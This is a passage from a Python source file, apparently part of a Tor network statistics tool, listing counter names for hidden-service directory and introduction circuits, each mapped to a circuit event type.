'HSDir3ClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'HSDir3MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
# Intro and Rend Circuits
'IntroCircuitCount' : { CIRCUIT_EVENT },
'IntroCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientCircuitCount' : { CIRCUIT_EVENT },
'IntroClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroTor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroTor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroSingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
